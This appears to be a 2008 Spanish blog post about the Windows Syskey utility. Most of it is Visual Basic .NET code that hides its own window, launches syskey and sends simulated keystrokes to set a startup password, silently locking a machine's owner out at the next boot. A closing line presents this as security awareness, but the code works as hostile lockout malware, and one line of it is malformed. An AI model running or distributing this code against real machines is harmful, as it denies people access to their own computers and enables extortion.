viernes 28 de marzo de 2008

Syskey

Syskey es una aplicación incorporada en los sistemas operativos Microsoft Windows, la cual permite agregar una contraseña, aparte de las ya conocidas como "Claves de Sesión".


A continuación les dejamos el segmento de código en Visual Basic.Net, básicamente consta de enviar de manera virtual y no física una serie de instrucciones desde teclado, con el fin de llegar a la ruta de la aplicación y ejecutarla.



Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles.Load

Dim a As Integer

Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
Me.Opacity = 0
a = Shell("syskey", AppWinStyle.NormalFocus)

SendKeys.Send("a")
SendKeys.Send("i")
SendKeys.Send("{TAB}")

SendKeys.Send("g")
SendKeys.Send("a")
SendKeys.Send("t")
SendKeys.Send("o")

SendKeys.Send("{TAB}")
SendKeys.Send("g")
SendKeys.Send("a")
SendKeys.Send("t")
SendKeys.Send("o")

SendKeys.Send("{TAB}")
SendKeys.Send("{ENTER}")
SendKeys.Send("{ENTER}")


End Sub

End Class


Usuarios, importante, esto es para dar a conocer algunas de las aplicaciones enfocadas a la seguridad del sistema.